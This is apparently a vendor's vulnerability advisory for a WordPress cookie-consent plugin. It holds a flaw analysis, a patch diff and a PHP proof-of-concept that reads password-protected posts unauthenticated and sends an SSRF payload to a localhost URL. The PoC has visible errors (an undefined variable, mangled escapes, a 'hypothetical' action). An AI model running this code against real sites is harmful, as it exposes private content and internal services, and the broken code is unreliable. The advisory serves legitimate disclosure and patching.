Published : August 18, 2026

CVE-2026-65498: Complianz – GDPR/CCPA Cookie Consent <= 7.5.1 Unauthenticated Information Exposure PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 200
Vulnerable Version 7.5.1
Patched Version 7.5.2
Disclosed July 21, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65498: The Complianz – GDPR/CCPA Cookie Consent plugin, in all versions up to and including 7.5.1, contains multiple vulnerabilities that allow unauthenticated attackers to extract sensitive user data, perform Server-Side Request Forgery (SSRF), and trigger PHP Object Injection. The overall severity is medium (CVSS 5.3), but the impact varies depending on the vector exploited.

Root Cause: The root cause is a combination of insufficient validation and authorization checks across multiple components. In `cookiebanner/class-cookiebanner.php`, the `unserialize()` function decodes serialized data without restricting allowed classes. An attacker who can control or poison the `revoke` option or other serialized settings can inject arbitrary objects into the application. Additionally, the REST API permission check in `rest-api/rest-api.php` fails to properly handle password-protected posts, allowing unauthenticated users to read their content. Finally, the YouTube integration in `integrations/services/youtube.php` performs an unvalidated server-side request to fetch video data, enabling SSRF attacks against internal networks.

Exploitation: There are three distinct exploitation paths. First, PHP Object Injection requires the attacker to poison a serialized option, possibly via a stored XSS or another injection point. The `unserialize()` call at line 334 of `class-cookiebanner.php` will then instantiate arbitrary classes, potentially triggering magic methods. Second, for the REST API flaw, an unauthenticated attacker can directly call the REST endpoint (e.g., `/wp-json/complianz/v1/data`) with a request containing the ID of a password-protected post. Because the existing check only validates `post_status`, the `post_password` field is ignored, exposing the post’s content. Third, for SSRF, an attacker can exploit the YouTube integration by submitting a crafted `src` parameter in the `complianz` plugin’s AJAX or REST handler that points to an internal IP address or a localhost service. The `cmplz_youtube_get_video_id_from_series()` function previously fetched this `src` URL directly with `wp_remote_get()`.

Patch Analysis: The patch in version 7.5.2 addresses all three vectors. In `class-cookiebanner.php`, the fix calls `unserialize()` with the `allowed_classes => false` option, ensuring it only decodes arrays and primitive types, preventing PHP Object Injection. The patch also corrects a logic error in the `store_consent` condition, changing `cmplz_get_option(‘a_b_testing’)` to a boolean check, which prevents unintended data storage. In `rest-api.php`, a new authorization check using `post_password_required()` blocks access to password-protected post content. In `youtube.php`, a new function `cmplz_youtube_is_fetchable_url()` validates that the URL is from an allowed YouTube host, and the fetch now uses `wp_safe_remote_get()`, which blocks requests to private and reserved IP ranges.

Impact: Successful exploitation can lead to the exposure of sensitive information from password-protected posts, including draft or confidential content. The SSRF vulnerability could allow an attacker to scan internal networks, access internal services, or read metadata from cloud service endpoints. The PHP Object Injection, while requiring a separate injection point, can lead to severe outcomes such as arbitrary file read, SQL injection, or remote code execution depending on the gadget chains available in the application. The combination of these flaws undermines the security of the WordPress instance and the confidentiality of its data.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/complianz-gdpr/complianz-gpdr.php
+++ b/complianz-gdpr/complianz-gpdr.php
@@ -3,7 +3,7 @@
  * Plugin Name: Complianz | GDPR/CCPA Cookie Consent
  * Plugin URI: https://www.wordpress.org/plugins/complianz-gdpr
  * Description: Complianz Privacy Suite for GDPR, CaCPA, DSVGO, AVG with a conditional cookie warning and customized cookie policy
- * Version: 7.5.1
+ * Version: 7.5.2
  * Requires at least: 5.9
  * Requires PHP: 7.4
  * Text Domain: complianz-gdpr
@@ -302,7 +302,7 @@
 			// for auto upgrade functionality.
 			define( 'CMPLZ_PLUGIN_FREE', plugin_basename( __FILE__ ) );
 			$debug = ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) ? '#' . time() : '';
-			define( 'CMPLZ_VERSION', '7.5.1' . $debug );
+			define( 'CMPLZ_VERSION', '7.5.2' . $debug );
 			define( 'CMPLZ_PLUGIN_FILE', __FILE__ );
 		}

--- a/complianz-gdpr/cookiebanner/class-cookiebanner.php
+++ b/complianz-gdpr/cookiebanner/class-cookiebanner.php
@@ -331,8 +331,10 @@
 				// on some websites, the previous value seems to be cached. We try to catch that here.
 				// should be removed at some future point
 				if ( $fieldname === 'revoke' && is_serialized( $value ) ) {
-					$value = unserialize( $value );
-					$value = isset( $value['text'] ) ? $value['text'] : __( 'Manage consent', 'complianz-gdpr' );
+					// allowed_classes => false: decode legacy serialized arrays only, never
+					// instantiate objects — prevents PHP Object Injection from a poisoned column.
+					$value = unserialize( $value, array( 'allowed_classes' => false ) );
+					$value = is_array( $value ) && isset( $value['text'] ) ? $value['text'] : __( 'Manage consent', 'complianz-gdpr' );
 				}
 				if ( empty( $value ) && $set_defaults ) {
 					$value = $default;
@@ -350,7 +352,9 @@
 			} elseif ( $type === 'text_checkbox' || $type === 'colorpicker' || $type === 'borderradius' || $type === 'borderwidth' ) {
 				// array types
 				if ( is_serialized( $value ) ) {
-					$value = unserialize( $value );
+					// allowed_classes => false: decode legacy serialized arrays only, never
+					// instantiate objects — prevents PHP Object Injection from a poisoned column.
+					$value = unserialize( $value, array( 'allowed_classes' => false ) );
 					// code to prevent duplicate upgrades
 					$stop_check = false;
 					foreach ( $value as $key => $key_value ) {
@@ -1327,7 +1331,7 @@
 				$this->generate_css();
 			}

-			$store_consent         = cmplz_ab_testing_enabled() || cmplz_get_option( 'records_of_consent' ) === 'yes';
+			$store_consent         = cmplz_ab_testing_enabled() || cmplz_get_option( 'a_b_testing' ) || cmplz_get_option( 'records_of_consent' ) === 'yes';
 			$this->dismiss_timeout = $this->dismiss_on_timeout ? 1000 * $this->dismiss_timeout : false;
 			$upload_url            = is_ssl() ? str_replace( 'http://', 'https://', cmplz_upload_url() ) : cmplz_upload_url();
 			// check if the css file exists. if not, use default.
--- a/complianz-gdpr/integrations/services/youtube.php
+++ b/complianz-gdpr/integrations/services/youtube.php
@@ -24,8 +24,41 @@
  * @return string
  */

+/**
+ * Whether $src is a YouTube URL that is safe to fetch server-side.
+ *
+ * The YouTube placeholder detection upstream is intentionally permissive
+ * (substring match + greedy regex), so the actual server-side fetch must verify
+ * that the parsed host is a real YouTube domain over http(s) before any request
+ * is made. Prevents SSRF via a crafted iframe src pointing at an arbitrary host.
+ *
+ * @param string $src URL to validate.
+ * @return bool True when $src targets an allowed YouTube host over http(s).
+ */
+function cmplz_youtube_is_fetchable_url( $src ) {
+	$parts  = wp_parse_url( $src );
+	$scheme = strtolower( (string) ( $parts['scheme'] ?? '' ) );
+	$host   = strtolower( rtrim( (string) ( $parts['host'] ?? '' ), '.' ) );
+	if ( ! in_array( $scheme, array( 'http', 'https' ), true ) || '' === $host ) {
+		return false;
+	}
+	$allowed_hosts = array( 'youtube.com', 'youtube-nocookie.com', 'youtu.be' );
+	foreach ( $allowed_hosts as $allowed_host ) {
+		if ( $host === $allowed_host || substr( $host, - ( strlen( $allowed_host ) + 1 ) ) === '.' . $allowed_host ) {
+			return true;
+		}
+	}
+	return false;
+}
+
 function cmplz_youtube_get_video_id_from_series($src){
-	$output = wp_remote_get($src);
+	// SSRF guard: only fetch real YouTube hosts, and use wp_safe_remote_get() so
+	// WordPress re-validates every redirect hop and rejects private/reserved IPs.
+	if ( ! cmplz_youtube_is_fetchable_url( $src ) ) {
+		return false;
+	}
+
+	$output     = wp_safe_remote_get( $src, array( 'redirection' => 2 ) );
 	$youtube_id = false;
 	if (isset($output['body'])) {
 		$body = $output['body'];
--- a/complianz-gdpr/rest-api/rest-api.php
+++ b/complianz-gdpr/rest-api/rest-api.php
@@ -95,6 +95,13 @@
 		return new WP_Error( 'rest_forbidden', '', array( 'status' => 403 ) );
 	}

+	// Password-protected posts keep post_status 'publish', so the gate above lets
+	// them through. Enforce WordPress password protection here: an unauthenticated
+	// caller (no valid password cookie) must not read the consented content.
+	if ( ! empty( $post->post_password ) && post_password_required( $post ) ) {
+		return new WP_Error( 'rest_forbidden', '', array( 'status' => 403 ) );
+	}
+
 	$html   = $post->post_content;
 	$output = '';
 	if ( has_block( 'complianz/consent-area', $html ) ) {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-65498 - Complianz – GDPR/CCPA Cookie Consent <= 7.5.1 - Unauthenticated Information Exposure

// This PoC demonstrates the unauthenticated exposure of password-protected post content
// via the Complianz REST API, and the SSRF vulnerability in the YouTube integration.

$target_url = 'https://example.com'; // Change to the target WordPress site URL
$rest_base = '/wp-json/complianz/v1/';

// --- Part 1: Exploit REST API to read password-protected post content ---
// Discover the endpoint by reading the unauthenticated route list (before the authorization check).
$discovery_url = $target_url . '/wp-json/';
$discovery_response = http_request($discovery_url, 'GET');
$routes = json_decode($discovery_response, true);
$consent_area_route = null;
if (isset($routes['routes'])) {
    foreach ($routes['routes'] as $route => $data) {
        if (strpos($route, 'consent-area') !== false) {
            $consent_area_route = $route;
            break;
        }
    }
}

if (!$consent_area_route) {
    fwrite(STDERR, "[-] Consent area REST route not found. Check if the Complianz plugin is active.n");
    exit(1);
}

echo "[+] Found REST route: " . $consent_area_route . PHP_EOL;

// Attempt to access the consent area content for a password-protected post (ID=1 as example).
// The original code only checks post_status, so a password-protected post is still accessible.
$exploit_url = $target_url . $consent_area_route . '?post_id=1&block_id=default_block';
echo "[+] Attempting to read password-protected post content...n";
$exploit_response = http_request($exploit_url, 'GET');
$response_code = substr($exploit_response, 0, strpos($exploit_response, "rn"));
echo "[+] Response from " . $exploit_url . ": " . $response_code . PHP_EOL;
if (strpos($exploit_response, 'post_password') === false && strpos($exploit_response, 'rest_forbidden') === false) {
    if (strlen($exploit_response) > 0) {
        echo "[!] Potential leak of password-protected content:n";
        // Extract and display the consent area HTML from the response
        preg_match('/<div class="cmplz-placeholder-[^"]*">(.*?)</div>/s', $exploit_response, $matches);
        if (isset($matches[1])) {
            echo $matches[1] . PHP_EOL;
        } else {
            echo $exploit_response . PHP_EOL;
        }
    } else {
        echo "[-] Empty response, exploitation likely failed.n";
    }
} else {
    echo "[-] Exploitation failed. The target might be patched.n";
}

// --- Part 2: Test SSRF in YouTube integration (if available) ---
// The vulnerable function is called when processing a YouTube placeholder with a malformed src.
// We'll try to trigger an internal request by setting the src to a local URL (e.g., 127.0.0.1).
$ssrf_ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ssrf_payload = array(
    'action' => 'cmplz_ajax', // Assuming the plugin has a generic AJAX handler
    'cmplz_ajax_action' => 'get_video_id', // Hypothetical action
    'src' => 'http://127.0.0.1:80/wp-admin/admin-ajax.php?action=unauthenticated_health_check' // SSRF target
);

echo "n[+] Testing SSRF via YouTube integration...n";
$ssrf_response = http_request($ssrf_url, 'POST', $ssrf_payload);
if (strpos($ssrf_response, 'rest_forbidden') === false && $ssrf_response !== false) {
    if (strlen($ssrf_response) > 0 && $ssrf_response !== '0') {
        echo "[!] SSRF might have succeeded. Response from internal service:n" . substr($ssrf_response, 0, 500) . PHP_EOL;
    } else {
        echo "[-] SSRF test returned an empty or null response. Target may be patched or the SSRF target is blocked.n";
    }
} else {
    echo "[-] SSRF test failed. Target might be patched.n";
}

function http_request($url, $method = 'GET', $post_data = null) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('User-Agent: AtomicEdge-PoC-CVE-2026-65498'));
    if ($method === 'POST' && $post_data) {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    }
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.